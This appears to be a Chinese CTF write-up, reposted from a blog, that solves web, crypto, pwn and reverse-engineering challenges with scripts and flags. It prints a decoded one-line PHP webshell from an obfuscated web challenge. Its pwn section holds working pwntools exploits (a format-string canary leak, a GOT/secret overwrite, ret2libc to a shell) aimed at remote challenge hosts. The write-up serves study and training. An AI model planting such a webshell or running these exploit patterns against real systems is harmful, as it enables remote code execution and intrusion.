Z0J=%4Q='1&%(>#NT2$R6;5VY6P%"=H8D0QR.;$NI2&D94H(H6Q=-1%N&=&Z(
Z2#5#6R-69HRZ3G9#1T`H2#!G,HV(<4)*3S-A6QR%3Q913#%(>&)Y5SH(9$-)
Z04V&=GCC0GNS9R=02&D:,'0H0T<D54=K:P)!;7R,04=$.49Z-'V*=J`L1793
Z5Q%L4G)943`C0GNO;4N02#10>6)Y5GR,-%VL1#5);&UC649K-$NZ,#)";'%.
Z16H-14=K.#9%;'NX04ND0R9Z4H9)2$@D1R1/44)11&-:;4%'2T=,:G5Z4IL!
Z2'`L1&DX14NJ4RN*=F1J0Q9::G5Z4HV:240L1H%2>4)&3#5(,6)L65!%<5VZ
Z34N#1T0X05%L;Q-'1#%"45-60R)S,4@C1&)925=*6%%W,$)'=&H(;#%/07R$
Z-41W8IL91G1X2Q=H5Q)&6SD7,$]:6R%$-49Y,49)=T0K04=K=4-(<5)'44R5
Z1JNC9Q%02&-!245*5SGD1QRL3P)71QR'0GNG-5N'14181T1Y5SH(,5!L8P)!
Z43!K64=%2Q9J5P!#1J!X25%/6RV)4P5'45-627NK.%8C-'N";4CH1H%6,G)&
Z:P=!4$NW0J9:8HV1-#)84SUD1T=L5Q%(=4V:1H9M649(6$VJ1#))2%UD16HL
Z45R114):459J6$=O.4N&2&N:240L6$=)1Q=J5PN6;5)M05)D5RR'34=%4#`J
Z2'=L6%R12&Z"=G5%6R)(:Q%&=5594H=&6QLP;RVI04)71G0D27@C:G9J>&D9
Z=G5"1T<C,4NJ8PR&>Q]66QNL5QNZ-'N#2'@X5G@G-RV(=4V'1GH%0G@K-4N&
Z15)!2'0D5Q=$85=&8P)!;3!S4'=W.4N&,&H:;$DX0T<G,5R&8P)7;3!H6SH%
U4RRJ=5N:1GKL5P!D<5N(245)=S)Y2$R,:$0E3J10>QL8)EQV*2QV.C``
`
')))));";
$shell = dec($shell);
$shell = dec($shell);
$shell = dec($shell);
$shell = dec($shell);
$shell = dec($shell);
$shell = dec($shell);
$shell = dec($shell);
$shell = dec($shell);
$shell = dec($shell);
$shell = dec($shell);
echo $shell;
得到webshell
error_reporting(0);($_GET['7d67973a'])($_POST['9fa3']);
jvav
java盲水印
BlindWatermark
flag
flag{3bb3c3a628a94c}
Crypto
不止一个pi
问一下GPT出脚本
import gmpy2
from Crypto.Util.number import long_to_bytes, inverse
q = 115478867870347527660680329271012852043845868401928361076102779938370270670897498759391844282137149013845956612257534640259997979275610235395706473965973203544920469416283181677660262509481282536465796731401967694683575843183509430017972506752901270887444490905891490955975762524187534052478173966117471143713
p = 171790960371317244087615913047696670778115765201883835525456016207966048658582417842936925149582378305610304505530997833147251832289276125084339614808085356814202236463900384335878760177630501950384919794386619363394169016560485152083893183420911295712446925318391793822371390439655160077212739260871923935217
c = 4459183928324369762397671605317600157512712503694330767938490496225669985050002776253470841193156951087663107866714426230222002399666306287642591077990897883174134404896800482234781531592939043551832049756571987010173667074168282355520711905659013076509353523088583347373358980842707686611157050425584598825151399870268083867269912139634929397957514376826145870752116583185351576051776627208882377413433140577461314504762388617595282085102271510792305560608934353515552201553674287954987323321512852114353266359364282603487098916608302944694600227628787791876600901537888110093703612414836676571562487005330299996908873589228072982641114844761980143047920770114535924959765518365614709272297666231481655857243004072049094078525569460293381479558148506346966064906164209362147313371962567040047084516510135054571080612077333228195608109065475260832580192321853906138811139036658485688320161530131239854003996457871663456850196483520239675981391047452381998620386899101820782421605287708727667663038905378115235163773867508258208867367314108701855709002634592329976912239956212490788262396106230191754680813790425433763427315230330459349320412354189010684525105318610102936715203529222491642807382215023468936755584632849348996666528981269240867612068382243822300418856599418223875522408986596925018975565057696218423036459144392625166761522424721268971676010427096379610266649911939139451989246194525553533699831110568146220347603627745407449761792135898110139743498767543521297525802809254842518002190381508964357001211353997061417710783337
php3 = p**2 * (p-1)
phq2 = q * (q-1)
phi = php3 * phq2
p3 = p**3
q2 = q**2
n = p3 * q2
e = 65537
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)
flag
flag{bu_zhi_yige_p1dsaf}
Rotate_Xor
照着脚本反着写就行
但是按flag的意思，Z3才是正解？不管了
from pwn import xor
from Crypto.Util.number import *
enc_k1 = 7318833940520128665
k2 = 9982833494309156947
ciphertext = b'\x8dSyy\xd2\xce\xe2\xd2\x98\x0fth\x9a\xc6\x8e\xbc\xde`zl\xc0\x85\xe0\xe4\xdfQlc'
def round_rotate_right(num, step):
return ((num) >> step | num << (64-step)) & 0xffffffffffffffff
def decrypt_key(key):
for _ in range(ROUND):
key ^= k2
key = round_rotate_right(key, 3)
return key
ROUND = 12
dec_k1 = decrypt_key(enc_k1)
plaintext = xor(ciphertext, long_to_bytes(dec_k1))
print(plaintext)
#'flag{z3_s0lv3r_15_bri11i4nt}'
flag
flag{z3_s0lv3r_15_bri11i4nt}
滴啤
RSA dp泄露
import gmpy2
e = 65537
n = 93172788492926438327710592564562854206438712390394636149385608321800134934361353794206624031396988124455847768883785503795521389178814791213054124361007887496351504099772757164211666778414800698976335767027868761735533195880182982358937211282541379697714874313863354097646233575265223978310932841461535936931
dp = 307467153394842898333761625034462907680907310539113349710634557900919735848784017007186630645110812431448648273172817619775466967145608769260573615221635
c = 52777705692327501332528487168340175436832109866218597778822262268417075157567880409483079452903528883040715097136293765188858187142103081639134055997552543213589467751037524482578093572244313928030341356359989531451789166815462417484822009937089058352982739611755717666799278271494933382716633553199739292089
for x in range(1, e):
if(e * dp %x == 1):
p = (e * dp - 1) // x + 1
if(n%p!=0):
continue
q = n//p
phin = (p-1) * (q-1)
d = gmpy2.invert(e, phin)
m = gmpy2.powmod(c, d, n)
if(len(hex(m)[2:])%2==1):
continue
#print(m)
#print(hex(m)[2:])
print(bytes.fromhex(hex(m)[2:]))
# flag{cd5ff82d-989c-4fbf-9543-3f98ab567546}
flag
flag{cd5ff82d-989c-4fbf-9543-3f98ab567546}
halfcandecode
第一部分RSA，第二部分MD5
import hashlib
import itertools
from Crypto.Util.number import *
import gmpy2
e = 65537
c = 43054766235531111372528859352567995977948625157340673795619075138183683929001986100833866227688081563803862977936680822407924897357491201356413493645515962458854570731176193055259779564051991277092941379392700065150286936607784073707448630150405898083000157174927733260198355690620639487049523345380364948649
n = 113021375625152132650190712599981988437204747209058903684387817901743950240396649608148052382567758817980625681440722581705541952712770770893410244646286485083142929097056891857721084849003860977390188797648441292666187101736281034814846427200984062294497391471725496839508139522313741138689378936638290593969
p = 10631151190024160908870967192522097752991652918777416177941351782447314225123009693276679810786266997133099934443701772661928189884235742113123409596993841
q = 10631151190024160908870967192522097752991652918777416177941351782447314225123009693276679810786266997133099934443701772661928189884235742113123409596993409
phi = (p -1 ) * (q - 1)
d = inverse(e, phi)
flag1 = long_to_bytes(pow(c ,d ,n))[:14].decode()
enc = [
'4a8a08f09d37b73795649038408b5f33',
'03c7c0ace395d80182db07ae2c30f034',
'e1671797c52e15f763380b45e841ec32',
'b14a7b8059d9c055954c92674ce60032','e358efa489f58062f10dd7316b65649e',
'cfcd208495d565ef66e7dff9f98764da',
'b14a7b8059d9c055954c92674ce60032',
'8fa14cdd754f91cc6554c9e71929cce7',
'0cc175b9c0f1b6a831c399e269772661',
'4a8a08f09d37b73795649038408b5f33',
'e358efa489f58062f10dd7316b65649e',
'cfcd208495d565ef66e7dff9f98764da',
'4b43b0aee35624cd95b910189b3dc231',
'cbb184dd8e05c9709e5dcaedaa0495cf']
# 生成所有ASCII可见字符
characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 !"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
combinations = itertools.product(characters, repeat=1)
# 创建一个字典以存储已知哈希值和对应的原始字符
hashes_dict = {hash_val: None for hash_val in enc}
# 遍历所有组合，计算哈希值并与已知的哈希值进行比较
for combo in combinations:
plaintext = ''.join(combo)
hash1 = hashlib.md5(plaintext.encode()).hexdigest()
if hash1 in enc:
hashes_dict[hash1] = plaintext
flag2 = ''
for i in enc:
flag2 += hashes_dict[i]
print(flag1+flag2)
# flag{two_cloabcse_t0_fact0r}
flag
flag{two_cloabcse_t0_fact0r}
partial decrypt
乘以逆元直接恢复
from Crypto.Util.number import *
m2 = 4816725107096625408335954912986735584642230604517017890897348901815741632668751378729851753037917164989698483856004115922538576470127778342121497852554884
h = 4180720137090447835816240697100630525624574275
q = 7325294399829061614283539157853382831627804571792179477843187097003503398904074108324900986946175657737035770512213530293277111992799331251231223710406931
m = (h * q) + m2
print(long_to_bytes(m))
# b'flag{rsa_with_crt#b12a3a020c9cc5f1a6df4618256f7c88c83fdd95aab1a2b2656d760475bd0bf1}'
flag
flag{rsa_with_crt#b12a3a020c9cc5f1a6df4618256f7c88c83fdd95aab1a2b2656d760475bd0bf1}
Brocast
RSA 广播攻击
from gmpy2 import *
from pwn import *
from Crypto.Util.number import *
def crt(n_list, c_list):
n = 1
for i in n_list:
n *= i
N = []
for i in n_list:
N.append(n // i)
t = []
for i in range(len(n_list)):
t.append(invert(N[i], n_list[i]))
summary = 0
for i in range(len(n_list)):
summary = (summary + c_list[i] * t[i] * N[i]) % n
return summary
io = remote('node4.buuoj.cn', 27954)
e = 17
n_list = []
c_list = []
for i in range(17):
io.sendlineafter(b'> ', b'1') # 等待收到input> 后发送1
n = int(io.recvline().decode()[3:]) # 接收一行数据 即 n: xxxx
c = int(io.recvline().decode()[3:]) # 接收一行数据 即 c: xxxx
e = int(io.recvline().decode()[3:])
n_list.append(n)
c_list.append(c)
M = crt(n_list, c_list)
m = iroot(M, e)[0]
flag = long_to_bytes(m)
print(flag)
flag
flag{d0_n0t_sh0ut_loud1y_1n_th3_d4rk_f0r3st}
PWN
canary
from pwn import *
from ctypes import *
from struct import pack
banary = "./canary"
elf = ELF(banary)
ip = 'node4.buuoj.cn'
port = 26153
local = 0
if local:
io = process(banary)
else:
io = remote(ip, port)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')
io.recvuntil("Give me some gift?\n")
io.sendline("aaaaaaaa%11$p")
io.recvuntil("aaaaaaaa")
canary = int(io.recvuntil(b'00').decode(),16)
print(hex(canary))
io.recvuntil("Show me your magic")
io.send(b'a'*(0x30-8) + p64(canary) + b'a'*8 + p64(0x401262))
io.interactive()
secret number
from pwn import *
from ctypes import *
from struct import pack
banary = "./secret number"
elf = ELF(banary)
ip = 'node4.buuoj.cn'
port = 26840
local = 0
if local:
io = process(banary)
else:
io = remote(ip, port)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')
secret = 0x404c
io.sendlineafter("Give me some gift?(0/1)\n",'1')
payload = b'aaaaaaaa%17$p'
io.sendlineafter("What's it\n",payload)
io.recvuntil('aaaaaaaa')
main = int(io.recvuntil('f5')[-12:],16)
print(hex(main))
pie = main - 0x12F5
secret_addr = secret + pie
io.sendlineafter("Give me some gift?(0/1)\n",'1')
payload = fmtstr_payload(8,{secret_addr:1})
io.sendlineafter("What's it\n",payload)
io.sendlineafter("(0/1)\n",'0')
io.sendlineafter("Guess the number\n",'1')
io.interactive()
ret2libc
from pwn import *
from ctypes import *
from struct import pack
banary = "./ret2libc"
elf = ELF(banary)
ip = 'node4.buuoj.cn'
port = 25704
local = 0
if local:
io = process(banary)
else:
io = remote(ip, port)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
pop_rdi = 0x400763
ret = 0x4006F1
payload = b'a'*(0x20+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(payload)
puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
base = puts - 0x80970
sys_addr = base + 0x4f420
binsh = base + 0x1b3d88
payload = b'a'*(0x20+8) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(sys_addr)
io.sendline(payload)
io.interactive()
Reverse
PZthon
pyinstxtractor 解包，是python 3.9的
uncompyle6 不支持3.9，考虑pycdc
def hello():
art = '\n ___ \n // ) ) / / // ) ) // | | / / // | | \\ / / \\ / / \n //___/ / / / // //__| | / / //__| | \\ / \\ / / \n / ____ / / / // ____ / ___ | / / / ___ | / / \\/ / \n // / / // / / // | | / / // | | / /\\ / / \n// / /___ ((____/ / // | | / /____/ / // | | / / \\ / / \n \n / / // / / || / / // / / / / /__ ___/ || / | / / // ) ) \n / / //____ || / / //____ / / / / || / | / / // / / \n / / / ____ || / / / ____ / / / / || / /||/ / // / / \n / / // ||/ / // / / / / ||/ / | / // / / \n / /____/ / //____/ / | / //____/ / / /____/ / / / | / | / ((___/ / \n'
print(art)
return bytearray(input('Please give me the flag: ').encode())
enc = [
115,121,116,114,110,76,37,96,88,116,113,
112,36,97,65,125,103,37,96,114,125,65,39,
112,70,112,118,37,123,113,69,79,82,84,89,
84,77,76,36,112,99,112,36,65,39,116,97,36,
102,86,37,37,36,104]
data = hello()
for i in range(len(data)):
data[i] = data[i] ^ 21
if bytearray(enc) == data:
print('WOW!!')
else:
print('I believe you can do it!')
input('To be continue...')
直接解
exp
enc = [
115,121,116,114,110,76,37,96,88,116,113,
112,36,97,65,125,103,37,96,114,125,65,39,
112,70,112,118,37,123,113,69,79,82,84,89,
84,77,76,36,112,99,112,36,65,39,116,97,36,
102,86,37,37,36,104]
flag = ''
for i in enc:
flag += chr(i ^ 21)
print(flag)
#flag{Y0uMade1tThr0ughT2eSec0ndPZGALAXY1eve1T2at1sC001}
flag
flag{Y0uMade1tThr0ughT2eSec0ndPZGALAXY1eve1T2at1sC001}
Petals
花指令
nop一下
在120A处按p生成函数
主函数中可知长度为25，最终flag要md5
exp
#include <iostream>
#include <cstdlib>
int v6[255];
int main() {
int enc[] = {
0xD0, 0xD0, 0x85, 0x85, 0x80, 0x80, 0xC5, 0x8A, 0x93, 0x89,
0x92, 0x8F, 0x87, 0x88, 0x9F, 0x8F, 0xC5, 0x84, 0xD6, 0xD1,
0xD2, 0x82, 0xD3, 0xDE, 0x87
};
for(int i=0; i<=255; i++) v6[i] = ~(i ^ 25);
for(int i=0; i<25; i++) printf("%c",v6[enc[i]]);
return 0;
}
//66ccff#luotianyi#b074d58a
flag
flag{d780c9b2d2aa9d40010a753bc15770de}
C?C++?
.net逆向用dnSpy
找到main，反着操作即可
exp
#include <iostream>
#include <cstdlib>
char key[]="NEWSTAR";
int main() {
int enc[] = {
68,75,66,72,99,19,19,78,83,74,
91,86,35,39,77,85,44,89,47,92,
49,88,48,91,88,102,105,51,76,115,
-124,125,79,122,-103
};
for (int k = 0; k < 7; k++){
enc[k] -= k ^ (-(int(key[k]) % 4));
enc[k+7] -= int(key[k]) % 5;
enc[k+14] -= (2*k);
enc[k+21] -= k ^ 2;
enc[k+28] -= int(int(key[k]) / 5) + int('\n');
}
for (int i=0; i<35; i++)
printf("%c",enc[i] + int(' ') - i);
return 0;
}
//flag{45dg_ng78_d8b5_1a7d_gh47_kd5b}
flag
flag{45dg_ng78_d8b5_1a7d_gh47_kd5b}
AndroGenshin
jadx 打开找到mainactivity
base64_table中有一个ItemTouchHelper.Callback.DEFAULT_SWIPE_ANIMATION_DURATION询问ChatGPT得值为250
然后分别看it_is_not_rc4和it_is_not_base64
就是rc4加密和base64编码，写脚本梭一下就可以
exp
import base64
from Crypto.Cipher import ARC4
def custom_base64_decode(data):
# 创建标准Base64字符集和自定义字符集的映射表
base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
char_map = str.maketrans( custom_chars, base64_chars)
# 替换为自定义字符
data = data.translate(char_map)
# 使用标准Base64解码
decoded_data = base64.b64decode(data).decode()
return decoded_data
base64_table =[125, 239, 101, 151, 77, 163, 163, 110, 58, 230, 186, 206, 84, 84, 189, 193, 30, 63, 104, 178, 130, 211, 164, 94, 75, 16, 32, 33, 193, 160, 120, 47, 30, 127, 157, 66, 163, 181, 177, 47, 0, 236, 106, 107, 144, 231, 250, 16, 36, 34, 91, 9, 188, 81, 5, 241, 235, 3, 54, 150, 40, 119, 202, 150]
enc = b''.join([bytes([i]) for i in base64_table])
username = b'genshinimpact'
rc4 = ARC4.new(username)
retval = rc4.encrypt(enc)
custom_chars = retval.decode()
#print(custom_chars)
cipher = 'YnwgY2txbE8TRyQecyE1bE8DZWMkMiRgJW1='
flag = custom_base64_decode(cipher)
print(flag)
#flag{0h_RC4_w1th_Base64!!}
flag
flag{0h_RC4_w1th_Base64!!}
SMC
明显的SMC
先看看 sub_401042,这是SMC加密函数
idapython脚本运行一下，解SMC
addr = 0x403040
key = [0x11,0x22,0x33,0x44]
for i in range(38):
b = get_bytes(addr + i, 1)
idc.patch_byte(addr + i, ord(b) ^ key[i & 3])
选中0x403040到0x403068的内容按C生成汇编代码(记得force,analyze会失败)，再按P生成函数
得到加密函数
提取一下byte_403020解密就行
exp
enc = [
0x7C, 0x82, 0x75, 0x7B, 0x6F, 0x47, 0x61, 0x57, 0x53, 0x25,
0x47, 0x53, 0x25, 0x84, 0x6A, 0x27, 0x68, 0x27, 0x67, 0x6A,
0x7D, 0x84, 0x7B, 0x35, 0x35, 0x48, 0x25, 0x7B, 0x7E, 0x6A,
0x33, 0x71]
flag = ''
for i in enc:
flag += chr(i - 5 ^ 0x11)
print(flag)
#flag{SMC_1S_1nt3r3sting!!R1ght?}
flag
flag{SMC_1S_1nt3r3sting!!R1ght?}
easy_enc
flag 限定是大小写字母，可以考虑爆破
先看汇编获取enc，伪代码不直观(在这里被坑了好久,就因为少了一位字符串结尾的0x00)
加密在sub_1400113C5;sub_1400113CA;sub_1400113F2;sub_1400113ED;里
exp
enc = [
0xE8, 0x80, 0x84, 0x08, 0x18, 0x3C, 0x78, 0x68, 0x00, 0x70,
0x7C, 0x94, 0xC8, 0xE0, 0x10, 0xEC, 0xB4, 0xAC, 0x68, 0xA8,
0x0C, 0x1C, 0x90, 0xCC, 0x54, 0x3C, 0x14, 0xDC, 0x30]
#table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ''
tmp = [0] * 29
for j in range(29):
for i in range(65,123):
if 0x30 <= i <= 0x39:
tmp[j] = ((i - 45) % 10 + 48)
elif 0x41<= i <= 0x5A:
tmp[j] = ((i - 52) % 26 + 65)
elif 0x61 <= i <= 0x7A:
tmp[j] = ((i - 89) % 26 + 97)
else: tmp[j] = i
key = 'NewStarCTF'
tmp[j] += ord(key[j % len(key)])
tmp[j] = ~tmp[j]
tmp[j] = (tmp[j] * 52) & 0xff
if(tmp[j] == enc[j]):
flag += chr(i)
else: continue
print(flag)
#BruteForceIsAGoodwaytoGetFlag
flag
flag{BruteForceIsAGoodwaytoGetFlag}
R4ndom
这题因为随机数问题卡了好久
Linux下的rand()和Windows下的rand()跑出来的随机数是不同的
主函数很简单，随机出一个长度为42的随机数列，然后用这随机数列和flag计算出一个下标
最后去Table中寻找对应字符得到s2，s2注意小端序
在函数b(void)中找到随机数种子
先在linux下跑出随机数列
#include <stdio.h>
#include <stdlib.h>
int v4[50];
char s[50];
int main() {
srand(0x5377654E);
for(int i=0; i<42; i++) v4[i] = rand()% 255;
for(int i=0; i<42; i++) printf("%d, ",v4[i]);
return 0;
}
//51, 137, 172, 215, 84, 204, 74, 165, 53, 209, 219, 163, 230, 147, 15, 127, 149, 77, 231, 101, 128, 175, 107, 210, 204, 205, 20, 173, 141, 105, 198, 64, 242, 242, 24, 71, 64, 226, 108, 117, 180, 72
最后直接爆破
exp
#include <stdio.h>
#include <stdlib.h>
int v4[50];
char s[50];
int main() {
unsigned char Table[] ={
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01,
0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D,
0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4,
0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC,
0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7,
0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2,
0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E,
0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB,
0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB,
0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C,
0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5,
0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C,
0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D,
0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A,
0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3,
0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D,
0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A,
0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6,
0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E,
0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9,
0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9,
0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99,
0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16};
unsigned char s2[] = {
0xEE, 0xE6, 0xD7, 0xB2, 0x8A, 0xAB, 0x13, 0x35, 0x02, 0x7B,
0xC9, 0xB9, 0x9C, 0xBA, 0xED, 0x2E, 0xBD, 0x4F, 0xFA, 0xEE,
0xC8, 0xF8, 0xE4, 0x16, 0x82, 0x63, 0x3B, 0x98, 0xF4, 0x14,
0x30, 0x38, 0x07, 0x36, 0x84, 0x3D, 0x0C, 0x36, 0x32, 0xEA,
0x55, 0xA6};
unsigned int v4[] ={51, 137, 172, 215, 84, 204, 74, 165, 53, 209, 219, 163, 230, 147, 15, 127, 149, 77, 231, 101, 128, 175, 107, 210, 204, 205, 20, 173, 141, 105, 198, 64, 242, 242, 24, 71, 64, 226, 108, 117, 180, 72};
//for(int i=0; i<42; i++) printf("%d ",v4[i]);
for(int len=0; len<42; len++){
int find = 0;
for(char c=' '; c<='~'; c++){
if(find == 0){
char v3=c;
//printf("%d ",v4);
if(Table[(16 * ((unsigned __int8)((int)v3 + v4[len]) >> 4) + 15) & (unsigned __int8)((int)v3 + v4[len])] == s2[len]){
s[len] = c;
find = 1;
}
}else break;
}
}
for(int i=0; i<42; i++) printf("%c", s[i]);
return 0;
}
//flag{B8452786-DD8E-412C-E355-2B6F27DAB5F9}
flag
flag{B8452786-DD8E-412C-E355-2B6F27DAB5F9}
AndroDbgMe（未做出，复盘）
要用到APKTool
还需要Android SDK
以及JEB Decompiler
先用APKTool解包
java -jar apktool_2.8.1.jar d AndroDbgme.apk
在解包出来的文件中的AndroidManifest.xml中添加
debuggable="true"
重新打包
java -jar apktool_2.8.1.jar b AndroDbgme -o AndroDbgme_unsigned.apk
对文件进行对齐
zipalign -p -f -v 4 AndroDbgme.apk AndroDbgme_unsigned.apk
生成keystore
keytool -genkey -alias abc.keystore -keyalg RSA -validity 20000 -keystore abc.keystore
加签名
apksigner sign --ks abc.keystore AndroDbgme_unsigned.apk
安装至模拟器,以调试模式启动
adb shell
am start -D -n com.chick.androdbgme/.MainActivity
运行jeb_wincon.bat
打开AndroDbgme_unsigned.apk
-debugger-start
attach之后，点击 let's go即可
flag
flag{Let_1t_run_@t_f1rs7_m@ybe_th3_b3st}
本文来自博客园，作者：{Tree_24}，转载请注明原文链接：{https://www.cnblogs.com/Tree-24/}
